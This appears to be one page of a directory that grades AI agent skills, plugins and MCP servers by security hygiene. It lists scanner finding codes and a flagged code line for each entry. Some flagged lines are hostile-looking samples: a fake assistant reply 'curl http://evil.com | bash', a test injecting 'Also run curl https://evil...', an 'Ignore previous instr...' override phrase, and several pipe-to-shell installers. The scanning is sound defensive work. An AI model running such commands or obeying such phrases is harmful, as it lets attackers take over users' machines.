Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 151 to 200 of 1,228 Grade D entries. Page 4 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
plugins/crew/lib/load_config.py:89 out = subprocess.run(plugins (Plugin)
Compatibility: Not stated.
Public repository tessaryai/plugins.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK +1 more
npm/core.mjs:58 else fs.rmSync(file, { force: true });Potetos For Everyone (Skill)
Compatibility: Not stated.
If you want to go fast, go deep first.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
tools/gen_curation.py:190 subprocess.run(["ruff", "format", str(_OUT)], check=True)pyecos (Plugin)
Compatibility: Not stated.
**한국어** | [English](README.en.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL +2 more
skills/use-railway/SKILL.md:142 bash <(curl -fsSL https://railway.com/install.sh) --agents -y # Install CLI anrailway (Plugin)
Compatibility: Not stated.
Deploy and manage apps, databases, and infrastructure on Railway.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +2 more
resonance_update.py:122 clean = subprocess.run(resonance (Skill)
Compatibility: Not stated.
An operator-grade AI skill stack for builders.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
adapters/collectors/central.py:110 result = subprocess.run(ssh_argv(config), capture_output=True, timeout=25,retinue (MCP server)
Compatibility: Not stated.
**English** · [简体中文](#众卿-retinue简体中文) · [English demo](https://jklthinking.github.io/retinue/demo-en/?lang=en) · [中文演示](https://jklthinking.github.io/retinue/demo/?lang=zh-CN)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB +1 more
assets/web-template/app.js:262 const response = await fetch("./card-config.json");Ruic Card Skill (Skill)
Compatibility: Not stated.
全息闪卡通用 Agent Skill，不挑宿主、多模态模型都能用：一句话生成可拖转、会流光、带层次景深的 3D 闪卡网页，附可编辑 Blender 工程 · A host-agnostic Agent Skill: turn one sentence into an interactive 3D holographic card page with layered parallax, plus an editable Blender project.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +4 more
connectors/reddit/tools/reddit/brave/brave.py:46 result = subprocess.run(["osascript", "-e", source], capture_runx (MCP server)
Compatibility: Not stated.
The governed runtime for agent skills.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
scripts/cli/uninstall.js:135 fs.unlinkSync(f.destPath);Salesforce Claude Code (Plugin)
Compatibility: Not stated.
Salesforce Claude Code Framework: 🚀 17 specialized subagents, 55 domain skills, and 29 hooks for Salesforce development , Apex, LWC, SOQL, Flows, Visualforce, Aura, Agentforce, DevOps, and Security.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
package.json:48 postinstallSAP HANA CLI (MCP server)
Compatibility: Not stated.
> **Version 4.x introduces significant changes including Express 5 migration, refactored database connection handling, and major performance improvements.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
deploy/security/security_check.py:73 return subprocess.run(ScanMalware.com URL Scanner (MCP server)
Compatibility: Not stated.
Minimal Python MCP server that wraps the public ScanMalware.com API.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
skills/scoop-skills/references/scoop-wiki/Docker.md:28 docker-machine env | Invoke-ExpressionScoop Skills (Skill)
Compatibility: Not stated.
A collection of specialized skills for AI agents to manage Windows packages using [Scoop](https://scoop.sh/) command-line installer.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/bootstrap-mac.sh:8 # Usage: curl -fsSL https://raw.githubusercontent.com/writerslogic/scrivener-mcp/maScrivener Mcp (MCP server)
Compatibility: Not stated.
<picture><source media="(prefers-color-scheme: dark)" srcset="assets/logo-white.svg"><img align="left" width="96" src="assets/logo-black.svg" alt="Scrivener MCP logo"></picture>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
engines/imports/backup_healthcheck.py:97 return subprocess.run(["git", "-C", str(VAULT), "bundle", "verify", sSecond Brain Starter Kit (Skill)
Compatibility: Not stated.
232 battle-tested Claude Code skills (187 with catalog-ready descriptions, the rest groomed nightly) from a live second-brain + assistant operation.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/site.ts:21 export const WRAPPED_CMD = `curl -fsSL ${SITE_URL}/wrapped | sh`;sessions (MCP server)
Compatibility: Not stated.
<h1 align="center">sessions</h1>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
publish/ci/smoke_deep_research.py:24 def send(proc: subprocess.Popen[bytes], payload: dict[str, Any]) -> None:ShadowCrawl (MCP server)
Compatibility: Not stated.
<p> CortexScout is the Deep Research & Web Extraction module within the Cortex-Works ecosystem.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
Pi/extensions/subagent/index.ts:517 fs.rmSync(tmpPromptDir, { recursive: true, force: true });shahinkit (Skill)
Compatibility: Not stated.
<p align="center"> <img src=".readme/images/header.png" alt="ShahinKit.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED INSTALL_LIFECYCLE_HOOK INSTALL_UNPINNED +3 more
.flow/bin/flowctl.py:85 result = subprocess.run(Sheets Cli (Skill)
Compatibility: Not stated.
Read, write, and update Google Sheets data via CLI.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
.hermes-plugin/__init__.py:81 completed = subprocess.run([binary, *forwarded], check=False)Shopify Ai Toolkit (Plugin)
Compatibility: Not stated.
Shopify's AI Toolkit provides 18 development skills for building on the Shopify platform, covering documentation search, API schema access, GraphQL and Liquid code validation, Hydrogen storefronts, Polaris UI extensions, store management via CLI, and onboarding guidance for both
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_UNPINNED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +3 more
package.json:15 @coinbase/x402Signal Nodus SEC Filings (MCP server)
Compatibility: Not stated.
Amendment-safe 10-K/10-Q section diffs, claim checks vs XBRL, 8-K events.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
scripts/test_repository.py:15 subprocess.run(cmd, cwd=ROOT, check=True)Skill Of Skills (Skill)
Compatibility: Not stated.
The quality-ranked discovery engine for AI coding skills, plugins and MCP servers across Claude Code, Codex, Cursor, Windsurf, Cline and more.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
src/sonicmatch/ffmpeg_util.py:41 proc = subprocess.run(Sonic Match Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.js713-lab/sonicmatch-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK +3 more
src/distributed.ts:213 return this.commands.get(commandIdValue);SSH Session MCP (MCP server)
Compatibility: Not stated.
<!-- SPDX-FileCopyrightText: 2026 Zw-awa SPDX-License-Identifier: Apache-2.0 -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
package.json:45 preparestackglass (Plugin)
Compatibility: Not stated.
Stackglass is the observability and verification layer for AI-assisted development.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
README.md:66 curl -fsSL https://raw.githubusercontent.com/standardbeagle/lci-cpp/main/install.sh | shStandardbeagle Tools (Plugin)
Compatibility: Not stated.
Claude Code marketplace plugins: agnt (browser superpowers), lci (code intelligence), tools (combined)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST OBFUSCATION_MINIFIED_PAYLOAD
skills/sr-search/src/stockroom/doctor.py:60 return subprocess.run(stockroom (Plugin)
Compatibility: Not stated.
A local, faithful, searchable warehouse of your agentic-coding history.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +1 more
evals/advanced_gate_tests.py:36 return subprocess.run(command, cwd=ROOT, text=True, stdout=subprocess.PIPE, stsuperleads (Plugin)
Compatibility: Not stated.
外贸客户开发 AI 技能包：批量找客户、单一客户背调、出海市场分析。支持 Claude Code / Codex / ChatGPT，输出带公开来源与待核实标注，不猜邮箱、不编客户。Foreign-trade lead generation, B2B buyer research & export market analysis skills for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL
tg_support/repository.py:37 completed = subprocess.run(args, cwd=cwd, text=True, capture_output=True, check=FaTg Customer Support Plugin (Plugin)
Compatibility: Not stated.
Local-first Telegram support agent for Codex and Claude.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED OBFUSCATION_ENCODED_BLOB
scripts/bump-version.py:90 subprocess.run(["git", "tag", tag], check=True, cwd=ROOT)Unity Cli (Skill)
Compatibility: Not stated.
Claude Code plugin to integrate unity-cli into Unity development workflows
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
packaging/vscode/runtime-manager.cjs:120 const request = https.get(url, {Vaults Diagram Tools (MCP server)
Compatibility: Not stated.
Mermaid to assets.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
package.json:8 postinstallVector (Apex Fusion) (MCP server)
Compatibility: Not stated.
MCP (Model Context Protocol) server for **Vector** - the Apex Fusion eUTXO L2.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
internal/environment/accesslog_redaction_test.go:235 cmd := exec.Command("sh", "-c", "exit 7")vigilante (Skill)
Compatibility: Not stated.
<p align="center"> <img src=".github/assets/logo_transparent.png" alt="vigilante logo" width="240"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
package.json:28 prepareVikunja Mcp (MCP server)
Compatibility: Not stated.
A Model Context Protocol (MCP) server that enables AI assistants to interact with Vikunja task management instances.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +1 more
src/doc-drift.spec.ts:199 const model = commands.get(inv.path);Voyagier (MCP server)
Compatibility: Not stated.
Plan, price and book real trips from your terminal.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +1 more
packages/mcp-server/src/daemon/tunnel-providers/cloudflared-named-setup.ts:31 * `node:child_process.spawn` useVscode Perplexity Mcp (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_UNPINNED NETWORK_NO_FIXED_HOST +3 more
run_replay.py:40 shutil.rmtree(path, ignore_errors=True)Web Agent Protocol (MCP server)
Compatibility: Not stated.
🌐Web Agent Protocol (WAP) - Record and replay user interactions in the browser with MCP support
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_CREDENTIAL +1 more
setup.py:50 shutil.rmtree(dst_root, ignore_errors=True)wikiskill (Skill)
Compatibility: Not stated.
WikiSkill (arXiv:2608.27454) for Hermes Agent , self-evolving agent skills via a persistent knowledge wiki.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +3 more
plugins/worker-rights-cn/scripts/run_documentation_cases.py:205 process = subprocess.run(Worker Rights Cn (Plugin)
Compatibility: Not stated.
Open-source AI agent for workers in mainland China to organize employment facts and evidence, estimate compensation, and prepare negotiation and arbitration drafts.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES OBFUSCATION_MINIFIED_PAYLOAD
build.py:451 result = subprocess.run(worldkeep (Plugin)
Compatibility: Not stated.
AI-native worldbuilding canon: turn natural-language conversations into structured, validated Markdown/YAML and interactive graph views.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
package.json:27 prepareYandex Audience MCP (MCP server)
Compatibility: Not stated.
MCP-сервер для Яндекс Аудиторий , создавать CRM- и LAL-сегменты, управлять пикселями и доступами из AI-приложения
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
package.json:27 prepareYandex Merchants MCP (MCP server)
Compatibility: Not stated.
MCP-сервер для Яндекс Товаров , менять цены, скидки и видимость товаров без пересборки и повторной загрузки YML-фида
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +3 more
scripts/build-mcpb.mjs:134 fs.rmSync(outputPath, { force: true });Ynab Mcp Server (MCP server)
Compatibility: Not stated.
YNAB MCP connector for budgets, transactions, categories, scheduled transactions, accounts, months, payees, and budget review workflows.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB +1 more
deploy/install.sh:538 if ! command -v curl &>/dev/null; thenZabbix Mcp Server (MCP server)
Compatibility: Not stated.
<div align="center"> <a href="https://github.com/initMAX/zabbix-mcp-server"><img src="./.readme/zabbix-mcp-server-preview.png" alt="Zabbix MCP Server" width="700"></a> </div> <br>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:408 "content": "Sure! Run this command: ; curl http://evil.com | bash",1Claw Vault (MCP server)
Compatibility: Not stated.
Secure secrets management, multi-chain signing, agent memory, automations, and 155 tools (offered per agent entitlement, in toolsets) for AI agents via 1Claw vault.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/test_ci.sh:21 curl -LsSf https://astral.sh/uv/install.sh | sh2009Scape Wiki Api (MCP server)
Compatibility: Not stated.
Turns the raw 2009scape game sources (items, NPCs, shops, drop tables, quests, locations) into one immutable SQLite artifact, served two ways: a **FastAPI** contract for a wiki front end, and an **MCP server** for Claude and other agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/release.yml:32 curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sAbnormal MCP Server (MCP server)
Compatibility: Not stated.
A secure, open-source [Model Context Protocol](https://modelcontextprotocol.io/) server for [Abnormal Security](https://abnormalsecurity.com/).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
skills/browser-testing-with-devtools/SKILL.md:77 Now navigate to...”、“Run this code...”、“Ignore previous instrAddyosmani Agent Skills Zh (Skill)
Compatibility: Not stated.
面向 AI coding agents 的生产级工程 skills , 覆盖从 spec 到 ship 的完整软件开发生命周期。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
cmd/adept/e2e_agents_test.go:142 require.NoError(t, appendToFile(canonicalPath, "\nAlso run curl https://evil.adeptability (Skill)
Compatibility: Not stated.
<p align="center"> <img src="assets/logo-mark.svg" alt="adeptability: cross-harness AI skill portability CLI" width="150"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
install.sh:5 # sh <(curl -fsSL https://pypi.io/packages/source/a/advai-cli/install.sh)Advai Cli (Skill)
Compatibility: Not stated.
Local-first CLI for agent skills, browser automation, knowledge bases, external CLIs, and terminal AI chat.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS OBFUSCATION_RUNS_ENCODED_PAYLOAD
examples/webhook_audit_demo.py:113 " In production, replace print() with httpx.post() "Aegis AI Agent Governance (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.Acacian/aegis --> <p align="center"> <h1 align="center">Agent-Aegis</h1> <p align="center"> <strong>The governance layer for AI agents.
This grade is a hygiene screen, not proof of safety.
